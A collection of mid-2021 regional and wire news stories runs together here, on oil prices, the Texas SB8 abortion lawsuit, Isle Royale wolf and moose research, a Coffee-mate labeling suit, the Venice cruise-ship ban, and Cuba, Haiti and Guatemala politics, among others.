Even if OPEC decides to raise output in August, that crude will not reach refineries until after the August peak-demand period will be over, Ed Morse, head of commodities research at Citigroup Inc., said in an email.

Nuclear talks between world powers and Iran are unlikely to resume until after the Islamic Republic installs its new president next month, all but eliminating the chances of an early revival of the accord that could trigger a jump in Iranian oil exports.

Still, the demand rebound is imperiled by the swift spread of the Covid-19 delta variant, which is forcing restrictions on work and mobility as it spreads through a largely unvaccinated Southeast Asia.

Indonesia, Southeast Asias biggest economy, is being wracked by a particularly brutal wave of the pandemic, prompting restrictions in the industrial heartland of Java and the tourist enclave of Bali. Malaysia is still in the midst of a nationwide lockdown, while Thailand has just stepped up limitations.

In the U.S., crude stockpiles dropped by 4 million barrels last week, according to a Bloomberg survey. The industry-funded American Petroleum Institute will report its supply tally later Tuesday, while government data will be released on Wednesday.

2021 Bloomberg L.P.
Abortion rights advocates and providers filed a federal lawsuit in Texas on Tuesday seeking to block a new state law empowering individuals to sue anyone assisting a woman with getting an abortion, including those who provide financial help or drive a pregnant patient to a clinic.

A dozen states have passed laws banning abortion after about six weeks of pregnancy. But the Texas law, set to take effect in September, goes further by incentivizing private citizens to help enforce the ban - awarding them at least $10,000 if their court challenges are successful. Even religious leaders who counsel a pregnant woman considering an abortion could be liable, according to the lawsuit filed in Austin by the Center for Reproductive Rights, Planned Parenthood and the ACLU on behalf of several other groups.

READ MORE: Texas Senate OKs half a dozen bills restricting abortion access

Proponents of the measure, which had the backing of the Republican governor, cheered passage of the "heartbeat bill" as a landmark victory.

But abortion providers say the law, known as S.B. 8, is unconstitutional and will subject them to endless lawsuits, shut down clinics and reduce services - and they say it will isolate abortion patients by undermining support networks for pregnant women.

"The state has put a bounty on the head of any person or entity who so much as gives a patient money for an abortion after six weeks of pregnancy, before most people know they are pregnant," Nancy Northup, president of the Center for Reproductive Rights said in a statement. "Worse, it will intimidate loved ones from providing support for fear of being sued."

Although abortion patients themselves cannot be sued under the Texas law, a controlling parent, disapproving neighbor or abusive spouse could target the woman's doctor in court to try to stop the abortion.

Marva Sadler, director of clinical services for Whole Woman's Health which operates four clinics in the state, has encountered antiabortion protesters at work for more than 12 years and expects she and her colleagues will be targeted by lawsuits.

"It's really, really scary for me to imagine the people we pass through to go to work on a daily basis, who yell at us . . . now have the authority and ability to sue me at will," Sadler said. "Not only is it an attack on the access, but it absolutely feels like a personal threat as well."

More than 85% of women who choose to terminate their pregnancies in Texas are at least six weeks into pregnancy, according to advocates, so the law would prevent nearly all abortions in the state and operations at Sadler's clinics would ramp down, she said.

Similar measures that ban abortion after a doctor detects a fetal heartbeat, or around six weeks of pregnancy, have passed recently in other states, including this year in Idaho and Oklahoma. But federal judges have prevented those measures from taking effect.

The Texas law is more difficult to block, according to opponents, because it is enforced by private lawsuits, not state government officials who are typically the defendants in federal constitutional challenges.

READ ALSO: Anti-abortion program to receive $100M in next Texas budget, but what will be done with the money?

Instead, those behind the new federal suit are usinga novel legal approach, takingaim at every state trial court judge and county court clerk in Texas, plus the attorney general and state medical boards.

They are asking a federal judge to prevent any of the state's trial court judges, potentially more than 1,000 throughout Texas, from enforcing the law and to block court clerks from accepting the lawsuits.

The director of Right to Life East Texas, who has encouraged people to take action and offered to recommend attorneys, is also named as a defendant.

Texas Gov. Greg Abbott, R, signed the legislation in May and celebrated what he called a victory for Texans.

"Our creator endowed us with the right to life and yet millions of children lose their right to life every year because of abortion," Abbott said at a closed-door ceremony. "In Texas, we work to save those lives. That's exactly what the Texas Legislature did this session."

The lawsuit comes as abortion opponents have passed new state regulations and are eyeing a more conservative Supreme Court to reexamine Roe v. Wade's guarantee of a right to choose an abortion.

The justices announced in May that they will review a restrictive Mississippi law that would ban almost all abortions after 15 weeks of pregnancy. In taking the case, the court said it would examine whether "all pre-viability prohibitions on elective abortions are unconstitutional."

ICYMI: Texas Republicans pushing abortion ban after 6 weeks

Before the Texas measure passed this spring, more than 300 Texas attorneys, including former judges and law professors wrote to state lawmakers raising constitutional concerns.

They urged the lawmakers not to "weaponizes the judicial system" by exempting these lawsuits from "the normal guardrails that protect Texans from abusive lawsuits and provide all litigants a fair and efficient process in our state courts. "

Opponents of the law also say it will disproportionately affect Black and Latinx communities, and low-income women who already encounter barriers to health care. Nationally, three out of four abortion patients are poor or have low incomes and struggle to cover the cost of an abortion, transportation to a clinic or child care, according to the lawsuit. Data compiled by the state indicates that nearly two-thirds of all abortions performed in Texas during the last five years involved Black and Hispanic women.

Marc Hearron, senior counsel for the Center for Reproductive Rights, said if the measure is not blocked before September, the potential lawsuits will force doctors and health clinics to spend time and money defending themselves in court and put providers at risk.

The law "allows any ideologically motivated party out there to bring a case across the state," Hearron said. Lawmakers, he said, intended to "distract and prevent providers from being able to provide constitutionally protected health care to their patients."
Sun Valley, ID (83353)

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Partly cloudy skies this evening will become overcast overnight. Low around 60F. Winds NW at 5 to 10 mph..

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Michigan Tech researchers return to the island to discover new insights about the wolves and moose of Isle Royale.

The COVID-19 pandemic halted the in-person wintertime survey of wolves and moose on the island for the first time in 63 years. Consequently, there are no estimates of wolf or moose abundance for 2021, and the next estimates are scheduled in February 2022. But though the Isle Royale Winter Study didnt happen quite as planned, researchers were still able to visit the remote national park in the spring.

Now, fieldwork has resumed and Michigan Technological University researchers have already uncovered new information about these two iconic wildlife populations. In particular, wolves produced at least two litters of pups, and moose appear poised for decline.

In the Isle Royale Winter Study, Michigan Tech researchers share other significant developments about curating the worlds largest moose bone collection, advances in understanding of wolf foraging behavior and the nutritional health of the moose population.

The Isle Royale Wolf Population is Likely Growing

While population estimates are delayed, MTUs research team gleaned enough clues to suggest that the Isle Royale wolf population is thriving.

The 2021 Winter Study details a growing wolf population, while the moose population shrinks. Moose bones, collected over decades, are catalogued, and warming winters play a role in moose nutrition.

We recovered footage of a group of four wolf pups taken in January 2021 by remote cameras at the east end of Isle Royale, said Sarah Hoy, research assistant professor in Michigan Techs College of Forest Resources and Environmental Science (CFRES). Additionally, observations of tracks and scats left by wolf pups last fall at two different locations suggest that there were probably two different litters of pups living at the east end of the island in September 2020.

There may also have been another litter born at the west end of the island last year. With reproduction figures like that, Hoy and colleagues expect the wolf population to have grown slightly or moderately since the last survey count, so long as there hasnt been an unusually high death rate.

Michigan Tech researchers are currently working with the U.S. National Park Service and other research collaborators to discern death rates and the number of litters produced.

Mark Romanski, biologist and natural resources program manager at Isle Royale National Park, said the National Park Service will use the information collected by MTU researchers, along with information derived from genetic analyses conducted through Kristin Brzeskis conservation genetics lab at Michigan Tech and in collaboration with Jerrold Belant at the State University of New York using remote cameras, to provide a formal wolf population estimate.

We anticipate completing an initial summary of these data in July, Romanski said. Because of constraints placed on field activities during the pandemic, we are especially pleased to have multiple lines of evidence to enumerate the population.

Wolves Are Specialized Foragers

Wolf scientists have long known that wolves are selective when it comes to their prey, preferring easier pickings: the young, the old and the infirm. What has not been known is whether that general tendency varies over time.

"Wolves tackle prey, like moose, that are 10 times their own body size with their teeth, which are only two inches long." Sarah Hoy, research assistant professor

Its a daunting task, as there is a risk that wolves will be seriously injured or even killed by their 900-pound prey. So, its no surprise that wolves tend to prey on moose calves that are smaller and a bit less savvy than adults or on older moose that are in poorer health, Hoy said.

But the proportion of calves or elderly moose in the overall population changes from year to year. MTU researchers wanted to know what wolves do when more vulnerable prey is relatively scarce.

Wolves face a choice: Keep searching for easy but rare prey, or attack the more abundant, healthier moose to save time spent looking for food, which comes with the increased risk of being seriously injured or killed. Turns out wolves prefer less risk  and not just on Isle Royale.

Hoy says classic foraging theory suggests that if predators want more food, they focus on whatever food is most widely available at the time.

However, we found that wolves do not much exhibit that kind of flexibility, she said. Wolf foraging behavior seems driven by minimizing the risks associated with killing large prey, like moose, even when the differences in vulnerability among individual moose might seem relatively subtle compared to when predators are choosing between different prey species.

Doug Smith of the U.S. National Park Service, who spearheaded the reintroduction of wolves in Yellowstone National Park, and Dan MacNulty of Utah State University, contributed to the report with research that suggests Yellowstone wolves also continue to seek out more vulnerable calves and elderly prey even if it means going hungry for longer stretches.

Weve long known that wolf and moose abundances on Isle Royale exhibit pronounced fluctuations over time, said John Vucetich, CFRES distinguished professor of ecology at Michigan Tech. Now we know that an important contributor to those fluctuations are these dynamic foraging preferences for weaker prey.

Nutritional Stress Stacks the Deck Against Moose

When individuals of a population are in good nutritional condition, they are more likely to survive the year and successfully reproduce. Consequently, understanding the fluctuations in the abundance of a population depends greatly on knowing the nutritional condition of the individuals.

In a good year for moose on Isle Royale, less than 5% of the moose population is in very poor nutritional condition and starving; in a bad year, almost 25% of moose are starving. This observation led researchers to wonder what factors cause the nutritional health of moose to fluctuate so much from each year.

In much the same way that doctors use human urine to identify or rule out certain health issues, MTU researchers combed through three decades worth of data from moose urine samples. Moose urine contains certain metabolites that provide important clues about an individuals health.

Researchers analyzed that data to see how the nutritional condition of moose changed with weather, competition for food and the likelihood of being killed by wolves. The analysis revealed that two-thirds of variation in moose nutritional condition from one year to the next is related to the weather.

We found that the nutritional health of moose was importantly influenced by how hot it is during the summer, and also by how deep the snow is in winter, Hoy said. Moose tended to be more nutritionally stressed during winters with deep snow, which may be because deeper snow makes it more difficult for moose to move around and find food.

Moose also tend to be more nutritionally stressed following a hot summer. Moose can become heat-stressed during hot summers. In response, they start to reduce the amount of food they eat and increase the time spent in thermal refuges, such as in conifer stands.

Additionally, balsam fir, the preferred food of Isle Royale moose, does not grow as well in warm climates. Therefore, after a hot summer there may be less high-quality food available to moose, which could also impact the overall nutritional health of the moose population.

This research has important implications for understanding how moose are likely to cope with a warming climate, Hoy said.

The Isle Royale Moose Population is Likely Declining

Since fieldwork resumed in spring 2021, MTU researchers have made several key observations about the islands moose.

Moose really struggled to find enough food this past winter, Hoy said. Because there have been such large numbers of moose on the island over the last five years and moose ate branches faster than the trees can recover and replace them, the amount of food available to moose during winter has been getting progressively worse each year since 2017.

"Balsam fir saplings, the main winter food source for moose, are in the worst condition ever observed during the 17 years that weve been monitoring them." Sarah Hoy, research assistant professor

During spring vegetation surveys, researchers found that most balsam fir saplings had been browsed so severely that they had either been killed or left with only a few green branches at the west end of the island. Researchers also found the bodies of 13 moose, when in a regular year they would typically find only one to two starved moose.

Ticks Cause Moose to Scratch Off Their Winter Coats

Winter ticks are also worse than usual this year, as evidenced by moose with very little fur left in spring  having scratched or bitten off almost all of their winter coats in an effort to rid themselves of the blood-sucking parasites. This is significant because blood loss to ticks can exacerbate the detrimental effects of food shortage. Despite the mild winter, depleted food supplies and ticks made life harder for the islands moose this year.

In this image from April 2021, an emaciated and nutritionally stressed bull moose  who is also severely impacted by winter ticks  beds down on the island. Image Credit: Sarah Hoy

The impact of wolves on moose over the last year remains unknown, but researchers continue to recover the remains of moose killed by wolves. Learning the full extent of wolf predation on moose will also wait until 2022s winter field season.

The Worlds Largest Catalog of Moose Bones

In addition to the research into wolves preferred prey and moose nutrition, the researchers also collaborated with the National Park Service to modernize the curation of thousands of moose bones, including a large share collected over decades by citizen scientists known as Moose Watch volunteers.

The worlds largest collection of moose bones will be further cleaned, photo-documented and put into a nationwide database of National Park Service biological artifacts at a facility with climate control and fire protection.

It is gratifying to see the National Park Service invest in the long-term preservation of moose bones, and it is almost certain that the scientific value of the collection will increase over time, said Rolf Peterson, CFRES research professor. We have already put it to use in ways never anticipated when the bones were first collected and saved.

The National Park Service provided personnel to develop plans to modernize the curation of moose bones and for a state-of-the-art, multi-park museum storage facility that will eventually house the bone collection. The National Park Service also provides vital funding to support the Michigan Tech students who clean and re-catalog the specimens, and to purchase the supplies and materials they need.

Despite the missed winter research on Isle Royale because of the pandemic, Michigan Techs wolf and moose researchers turned adversity into opportunity, providing further insight for the longest-running predator-prey study in the world.

Michigan Technological University is a public research university, home to more than 7,000 students from 54 countries. Founded in 1885, the University offers more than 120 undergraduate and graduate degree programs in science and technology, engineering, forestry, business and economics, health professions, humanities, mathematics, and social sciences. Our campus in Michigans Upper Peninsula overlooks the Keweenaw Waterway and is just a few miles from Lake Superior.
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The U.S. Supreme Court recently ruled that college athletes can be compensated for their name, image and likeness (NIL). Although schools are not allowed to pay athletes to play sports, student-athletes can be paid by others. Student-athletes can accept money from businesses in exchange for allowing the businesses to feature them in advertisements or products. Athletes can use their status to promote their own public appearances, to start their own sports camps and teach lessons, to sell memorabilia, to make paid speaking engagements and to launch their own businesses. Do you think college athletes should be allowed to profit from their NIL? Choices are:

You voted:
An ounce of gold is getting nearly $1,816 on the market.

A gallon of unleaded regular gasoline is averaging about $3.33.

The going price for 33 servings of coffee creamer?

More than $5 million, according to a lawsuit filed Tuesday.

The federal lawsuit filed in U.S. District Court by Lurnia Ivory of Bloomington against Nestle USA contends the company deceived and misled consumers. Ivory points to a statement that reads 140 servings at the top of its 15-ounce caramel latte Coffee-mate brand powdered coffee creamer.

In actuality, the lawsuit argues, the number of servings is 107. The civil complaint said independent laboratory analysis confirmed the number.

This means the product delivers  fewer servings of coffee creamer than the 140 promised on the label, which is what consumers paid for. Through the statement 140 servings, reasonable consumers will expect they can add the standard teaspoon amount of the coffee creamer to 140 cups of coffee  or some variation thereof  when used reasonably or according to the labels directions. No reasonable consumer will expect the number of servings is closer to 100 than 140, according to the claim.

Ivory says this resulted in additional profits at the expense of consumers.

Nestle USA makes the product as part of the Swiss conglomerate Nestle SA and sells it in major retail stores. Because of that, Ivory wants the court to allow class-action status  meaning anyone who has bought the product could be a party to the lawsuit.

The lawsuit, filed by Spencer Sheehan of Sheehan & Associates in Great Neck, New York, wants the company to correct the practice and to award restitution and damages that could exceed $5 million.

Nestle USA has yet to respond to the claim, which represents only one side of a case.

It isnt the first time its popular Coffee-mate product has been hit with a class-action lawsuit. Last month, a class-action suit was filed in California over its Natural Bliss vanilla-flavored coffee creamer. The lawsuit contends that although it says the creamer is flavored with natural vanilla, there are no detectable amounts of natural vanilla in it.

A similar claim was withdrawn last month from federal court in Manhattan. It had argued people were deceived into overpaying for the product because it misrepresented the amount of real vanilla.

Nestle is far from alone in this type of litigation. Within the past few years, Anheuser-Busch, Frito-Lay and Kellogg also have faced lawsuits over claims of misleading labeling.
The man for which Schuyler County, Illinois is named for has come to light over the last few years.

Philip Schuyler was the father-in-law of founding father Alexander Hamilton, and he's featured in a non-speaking role in Lin-Manuel Miranda's famous musical, "Hamilton," that's still raging in popularity. Of course, Schuyler himself is a man of historical significance himself.

So the question arises, how did a county in the middle of Illinois get named after a Revolutionary War figure and early American notable?

Well, there's really no answer. Each guess holds a variety of validity, but in all honesty no one really knows for sure.

Therefore, another question arises. Who was Philip Schuyler? That answer can leave one very much intrigued.

To be clear, we're talking about Philip John Schuyler  pronounced Sky-ler. And there's a lot he accomplished.

Philip Schuyler started the canal system here in New York, long before the Erie Canal, he started the Western Atlantic Navigational Canal Corporation. He had a working canal all the way to the Great Lakes in the 1790s," Heidi Hill said. Hill is the Historical Site Manager at the Schuyler Mansion Historic Site in Albany, New York.

Schuyler was also a New York senator and the first surveyor general for the state as well. Like his son-in-law, he served under George Washington and commanded the northern department for the Continental Army. He also helped orchestrate the Invasion of Quebec in 1775.

Stories of his accomplishments begin to be told throughout his family tree and eventually across the country as the United States prepared for the 100th anniversary of it's birth. While 1876 was the celebratory year, it was actually the late-1830s when interest in recognizing a century of existence began to skyrocket.

It really started in the 1840s. It wasnt until 1876, but in 1838 a statue of Washington was commissioned for Washington, D.C., so there was the real patriotic movement that surpassed anything we did in 1976. That couldve been about the time these places were named as well," Hill said.

In short, stories about revolutionary heroes were being told, word of mouth spread them across the country, and cities, counties and other institutions are named in honor of those everyone was talking about  including Schuyler.

Counties in Missouri and New York are also named for Schuyler. They, along with Illinois, served as the namesake of the USS Schuyler battleship during World War II. The towns of Schuyler, New York and Schuylerville, New York also honor the Revolutionary War general. Angelica, New York is named for Schuyler's daughter.

Another interesting fact about Schuyler is that parts of his life ran parallel with Hamilton. Like Hamilton, Schuyler fought Aaron Burr in politics. He even lost his seat to Burr, but later won it back. The year of 1804 proved to be an emotionally depressive one for Schuyler's family  especially his daughter and Hamilton's wife, Eliza Schuyler Hamilton. Burr killed Hamilton in July, and Philip died later that year.

Hamilton married into this family, probably for love, but because he needed to find a family that had stature, and he wanted to get ahead in the world after the Revolutionary War," Hill said. "He needed to attach himself to a family that would propel him.
Attorney General Kwame Raoul has joined with 18 other attorneys general to advocate for stronger measures to protect children traveling in car seats.

The coalition is asking the National Highway Traffic Safety Administration to implement side-impact testing standards and to require that all child car seat labels have clear and concise wording cautioning people to ensure that children remain in car seats until they exceed the height or weight limit.
ROME (AP)  The United Nations culture agency, which was considering declaring Venice an imperiled world heritage site, on Wednesday hailed Italys ban on big cruise ships in the heart of the lagoon city.

UNESCO Director-General Audrey Azoulay tweeted that the Italian governments Tuesday decision to deny access to the mammoth liners as of Aug. 1 is very good news and an important step that significantly contributes to the safeguarding of this unique heritage site.

Starting next month, ships over a certain size or weight or surpassing specific pollution levels can no longer ply the Giudecca Canal, a major sea artery in Venice, or cruise the waters near St. Mark's Square, the historic heart of the environmentally fragile city.

Until a permanent docking place can be selected and developed for the big cruise ships, the liners will be permitted to pull up in Marghera, an industrial suburb of Venice.

UNESCO, which is based in Paris, recommended last month adding Venice to its list of World Heritage in Danger sites.

While the Italian government announced the ban with a nervous eye on UNESCO, Venice remains on the agenda of the World Heritage Committee's meeting later this month in Fuzhou, China, the U.N. agency indicated.

For years, protesters hoisting signs proclaiming No Big Ships have demonstrated in Venice, sometimes taking to small boats to sail close to the cruise liners, which to people onshoore look like lumbering giants slicing through the city.

Perhaps surprisingly, among those praising the Italian governments move was a cruise industry trade association.

As an industry, we are very positive. We welcome the decision by the government, Francesco Galietti, Italy director for the Cruise Lines International Association, said.

Galietti said the trade group had been advocating for an alternative to the Giudecca Canal for some 10 years and therefore was happy the government has promised to find a permanent alternative docking area for the big cruise ships.

We never wanted to stick to the Giudecca, he said, discounting activists' claims of cruise line company resistance.

The negative damage this (publicity) causes to the industry is way bigger than the experience of individual passengers savoring the thrill of sailing into the canal, Galietti said.

As for any logistical problems the ban might pose for imminent cruise itineraries, that wasn't immediately clear.

Galietti said that with tourism struggling to regain steam after the coronavirus pandemic restricted travel, many companies didn't put Venice on their itineraries.

The Italian government, in a Cabinet decree approved Tuesday, allocated funds to compensate those whose tourist-heavy businesses might suffer from the ban, as well as money so Marghera can be temporarily used for docking until a permanent solution is found.

It also declared Venice's Giudecca Canal and waterways near St. Mark's a national monument in urgent need of safeguarding.

The Italian Environmental Fund, or FAI, was among the groups that long lobbied for the ban. It received the government's move with mixed sentiments.

We're happy for Venice, FAI President Andrea Carandini, a prominent Italian archaeologist and academic, told Italian newspaper Corriere della Sera. But we're not at all (happy) for the lagoon in its overall context.

He said that to handle such big cruise ships, it will be necessary to excavate canals. That means more water will enter the lagoon, thus an alteration of a complex system that's clearly an entire one for Marghera and for Venice.

Meanwhile, a conservation charity in Britain dedicated to Venice's considerable art works, monuments and buildings took a wait-and-see view of the ban.

At Venice in Peril, we are in principle delighted with this news,'' the charity said in a statement. It lamented, though, that on too many previous occasions vested interests in Venice and the surrounding Veneto region have frustrated the good intentions of those who want to clear the lagoon of these hideous floating hotels posing as ships."

Venice is heavily dependent on tourism revenue.
South Jacksonville officials are collecting documents and preparing evidence for the discovery process in a lawsuit filed against them by Jacksonville Affordable Housing.

Village Mayor Tyson Manker said he wanted to take the opportunity during the meeting to update the board on the lawsuit and the information gathered for the discovery process.

Hopefully, with the exchange of evidence, we will be closer with a settlement or an agreementright now negotiations have stalled, so that is where we are at right now, Manker said.

The board met in closed session during a special meeting Tuesday to discuss the lawsuit, where Manker said he discussed the documents he and staff members have compiled, including past bills dating back to 2005.

Several settlements have been proposed, however, Manker said there are currently no proposals on the table after the last offer was dismissed by Jacksonville Affordable Housing.

He said any settlements will also not include a $100,000 credit that has previously been offered.

Weve run the numbers and we dont agree with what they are alleging, Manker said.

The lawsuit, filed by Jacksonville Affordable Housing on May 9, 2016, alleges that the organization was overcharged for water and sewer utilities from Jan. 1, 2006 to May 2015 in the amount of $361,458.

Manker said the billing issue has since been fixed.

While Manker said the board does not agree with the allegations, or the numbers that the development claims to have been overcharged, he said the organization has not paid for utilities to the village since the error was discovered.

Since 2015, Labor Drive has not paid for water or sewer services about $900,000, Manker said. So, even if we had overcharged them, they have incurred three times that amount.

Manker said the village contracts with Jacksonville for sewer services, a cost of $100,000 since 2015 for Labor Drive.

We are losing money to cover that balance, Manker said.

Manker said it is time for the lawsuit to move forward.

It was continued and continued, Manker said. The previous administrations continued to kick the can down the road.

Manker said he will be working with the village attorney and representatives to file the evidence, some of which will be filed this week. Once that is done, he said either negotiations will take place or it will move forward in court.
Mariposa, CA The California Department of Fish and Wildlife(CDFW) conducted a water test along the Merced River near Hites Cove as part of the wadeable streams assessment and results show a high concentration of algae bloom.

The Sierra National Forest would like to inform visitors who like to recreate in those waters to not swim, wade, or allow their pets in that part of the river. This is due to the danger the Toxic Algal mats present that have formed. Algae or cyanobacteria that grow in the water get attached to the bottom of water bodies and can form algal mats. Some species can produce toxins, and if exposed, can pose a risk to humans and their pets. For more information on toxic algal mats visit the Toxic Algal Mat FAQs web page that is located here.
Deadly deer disease in California View Photo

Sonora, CA  State wildlife officials ask the public to stop feeding deer as a deadly disease is attacking herds and is mostly fatal for fawns.

The California Department of Fish and Wildlife (CDFW) has confirmed outbreaks of adenovirus hemorrhagic disease in deer in several northern California counties. It attacks the blood vessels causing the animals to show symptoms of rapid or open-mouth breathing, foaming or drooling at the mouth, bloody diarrhea, weakness, and seizures. It is spread by contact between deer and bodily fluids. To help curb the spread, the CDFW is asking the public to not feeding wild animals, and report potential cases to the department.

Providing attractants for deer  food, salt licks, or even water  is against the law for good reason, said Dr. Brandon Munk, a senior wildlife veterinarian with CDFWs Wildlife Investigations Laboratory. Because these artificial attractants can congregate animals and promote the spread of disease, its particularly imperative to leave wildlife alone during an outbreak. There is no cure or vaccine for this disease, so our best management strategies right now are to track it carefully, and to take preventative measures to limit the spread.

Since May, there have been increased reports of mortality in deer, both free-ranging and at fawn rehabilitation facilities to the CDFW. Currently, the outbreaks are in Kern, Napa and Nevada counties, but the disease can spread quickly. It was the cause of a 1993-1994 outbreak of hemorrhagic disease in black tailed deer and mule deer that spanned at least 18 California counties.

Fawns are at greatest risk, with high rates of mortality following infection. Yearlings and adult deer are more resistant but mortalities in these age groups occur as well. The CDFW says outbreaks can be widespread and may have significant impact on affected deer populations.

Reporting sightings of sick or dead deer is helpful to keep track of the spread of the disease relay CDFW officials and can be submitted online, click here.

The virus is not known to affect people, pets, or domestic livestock.
Guatemalan president bans most protests for 15 days View Photo

GUATEMALA CITY (AP)  The president of Guatemala on Tuesday banned most protests for two weeks, arguing they have been spreading the coronavirus.

President Alejandro Giammatteis Cabinet approved the decree and it will go into effect Wednesday.

Protesters in recent weeks have demanded Giammatteis resignation, saying the government has mismanaged the coronavirus pandemic and botched efforts to get vaccines. There have been delays in shipments of Russias Sputnik vaccine, even though Guatemala paid half up front.

It is the latest of more than a dozen decrees that Giammattei has issued to temporarily limit constitutional rights, and even Vice President Guillermo Castillo says enough is enough.

We need states of vaccination, not a state of emergency, Castillo told The Associated Press. Rather than limiting constitutional rights, what the government should do is get more vaccines.

The presidents office said open-air demonstrations by people wearing face masks and practicing social distancing will be allowed, but police may break up any protest if they judge it violates any of those rules or presents a public health risk.

The measures also include a night-time ban on alcohol sales starting at 6 p.m., and a ban on driving without a face mask.

A crowd of about 300 protesters gathered Saturday in the main square of the capital to demand the resignation of Giammattei, and on Monday banners appeared on several streets in Guatemala City demanding he go.

Referring to the protests, Giammattei said: These people are spreading the virus and causing more problems. That is what they want and they are spreading it through a series of illegal demonstrations.

Giammattei signed a deal in April for 16 million doses of the two-dose Russian vaccine, and paid 50%, or almost $80 million, up front. But only about 550,000 Sputnik doses have arrived so far.

About 1.5 million doses of the Moderna vaccine have been donated by the United States. But with just over 2 million doses, Guatemala doesnt have nearly enough for its 17 million people.

So far, Guatemala has registered about 320,000 coronavirus cases and 9,721 COVID-19 deaths.

By SONIA PEREZ D.

Associated Press
Cuba, Haiti stir fresh political pressures for US president View Photo

WASHINGTON (AP)  They are two tiny Caribbean states whose intractable problems have vexed U.S. presidents for decades. Now, Haiti and Cuba are suddenly posing a growing challenge for President Joe Biden that could have political ramifications for him in the battleground state of Florida.

Cuban demonstrators have taken to the countrys streets in recent days to lash out at the communist government and protest food shortages and high prices amid the coronavirus pandemic. In Haiti, officials are asking the U.S. to intercede in a roiling political crisis after last weeks assassination of President Jovenel Moise in a nation where military and humanitarian interventions by U.S. presidents from Woodrow Wilson to Barack Obama have proved to be politically harrowing.

Biden is facing increased pressure from Republican lawmakers for his administration to step up support of Cuban demonstrators. And his aides have demonstrated determined caution in response to requests for more U.S. involvement in Haiti.

The administration has come under fire from both sides of the political spectrum for its responses to each of the crises, both unfolding less than two hours flying time from Miami. The troubled U.S. history in both countries has hardened positions, making virtually any policy decision politically unpalatable for a president seeking to toe a middle line.

In the background: How the Biden administration handles the crises looms large in electorally rich Florida.

Biden lost the state in 2020 to Donald Trump, as Republicans improved their performance while paying special attention to courting the states large Cuban American population and other immigrant voters, noted Susan MacManus, a Florida political analyst and professor emerita at the University of South Florida.

The caution Biden is showing reflects the poor showing in 2020 and a desire not to repeat it, said MacManus, who added that Haitian Americans are becoming a growing political force in South Florida. Democrats learned in 2020 that country of origin is a much more powerful voting cue in Florida than historical voting affiliation, and Trumps hammering on socialism proved to be an effective message.

Indeed, as the situations play out in Cuba and Haiti, Biden administration officials have responded cautiously.

The White House on Sunday dispatched representatives from the Justice Department, the Department of Homeland Security and the White House National Security Council to meet with Haitis interim Prime Minister Claude Joseph, designated Prime Minister Ariel Henry and Joseph Lambert, the head of its dismantled Senate, whom supporters have named as provisional president in a challenge to Joseph.

White House officials said Haitis request for the U.S. to deploy troops was under review. At the State Department, spokesman Ned Price said Tuesday he was not aware that the administration had rejected any request from Haitian officials but said the focus was on supporting the investigation into the assassination rather than providing military assistance.

U.S. officials have also made clear that the administration remains concerned about the infighting over who is rightfully Moises successor in Haiti.

The White House is coordinating with Joseph in his capacity as acting prime minister, but is urging Haitian officials to work together to hold legislative and presidential elections as soon as feasibly possible.

Meanwhile, the White House said a review of its Cuba policy remains underway.

To be sure, U.S. efforts to press for regime change have had their fair share of failures over the years: the 1961 Bay of Pigs invasion, CIA-backed assassination attempts on Cuban leader Fidel Castro, and sanctions that inflicted pain but never produced the ultimate goal of ending communist rule.

Were going to be taking a close look at what has and has not worked in the past, and unfortunately in the case of Cuba, there may be more that has not worked than what has worked, Price said.

This week, Cuban police have been out in force as President Miguel Diaz-Canel has accused Cuban Americans of using social media to spur a rare outpouring of weekend protests. The demonstrations in several cities and towns were some of the biggest displays of antigovernment sentiment seen in years in tightly controlled Cuba, which is facing a surge of coronavirus cases as it struggles with its worst economic crisis in decades.

There are political crosscurrents for Biden as he addresses both situations.

On Cuba, the political right in the U.S. has accused Biden  who said as a presidential candidate that he would revert to Obama-era policies that loosened decades of embargo restrictions on Havana  of not being supportive enough of Cuban dissidents.

Democrats, meanwhile, are unhappy that Biden has yet to reverse Trumps hard-line approach to the islands communist government as his administration carries out its review of Cuban policy.

Trump in a statement criticized Bidens past promises to loosen restrictions on Cuba.

Dont forget that Biden and the Democrats campaigned on reversing my very tough stance on Cuba, Trump said.

Florida Republicans Sen. Marco Rubio and Rep. Carlos Gimenez, a freshman lawmaker who represents a Miami district that Democrats are hoping to flip in next years midterm election, were among elected officials this week who called on the administration to maintain Trumps Cuba policy.

They also called on Biden to aid the protesters, including by making free satellite internet access available on the island to subvert the Cuban governments effort to stop activists from broadcasting their messages on social media to the world.

Gimenez said in an interview that simply maintaining the status quo is not enough at a moment when the island is seeing some of the most intense protests in more than 60 years  what Biden himself referred to as a clarion call for freedom.

Biden lost Florida by about double the margin by which Trump beat Democrat Hillary Clinton there in 2016.

Trump was helped in part by narrowing the Democrats margin of victory in population-rich Miami-Dade County by nearly 13 percentage points. Gimenez and another freshman lawmaker of Cuban descent, Maria Elvira Salazar, picked up Democratic-held seats as Trump and Republicans focused on courting Cuban Americans, an important voting bloc in the state.

The majority of Cubans in Florida supported Trump over Biden, 58% to 41%, according to AP VoteCast. The margin was nearly reversed among other Hispanic voters in the state, who were more likely to support Biden than Trump, 59% to 40%.

Biden is no fool, said Gimenez. Its not just the Cuba issue, its the whole issue of socialism and communism and censorship thats shifted the people of Miami-Dade over to the right. The problem that the president has is the extreme parts of his own party seem to be driving the agenda, and that he just cant escape right now.

White House spokesman Chris Meagher said Biden, dating back to his days in the Senate, has been a fierce critic of the Castro regime and is committed to Cuban human rights.

Hes committed to forming his policies toward Cuba based on two principles: that standing up for democracy and human rights is paramount, and that Americans  especially Cuban Americans  are the best ambassadors for freedom and prosperity in Cuba, Meagher said.

Carlos Diaz-Rosillo, who served as a director of policy and interagency coordination in the Trump White House, said the situations in Cuba and Haiti offer Biden a chance to demonstrate his oft-repeated dictum that democracies can better service their people than autocracies as well as his preference for multilateral efforts to address big global problems.

This is an administration that says that they believe in international organizations and that they believe in these multilateral bodies. If thats the case, get our allies in the hemisphere together  and see how they can rally others to help out, Diaz-Rosillo said.

___

Madhani reported from Chicago. Associated Press writer Hannah Fingerhut contributed to this report.

___

This story has been corrected to show Biden lost Florida to Trump in 2020, not 2016.

By AAMER MADHANI and MATTHEW LEE

Associated Press
Harris to host Merkel before chancellors talks with Biden View Photo

WASHINGTON (AP)  In a meeting intended to reflect the importance of U.S.-German ties, Kamala Harris will hold talks with Chancellor Angela Merkel at the vice presidents residence Thursday, the first time she has hosted a foreign leader at the Naval Observatory since taking office.

At their breakfast meeting, Harris intends to emphasize the need for the allies to confront an array of global challenges, from the coronavirus pandemic and climate change to the threats posed by Russia and China.

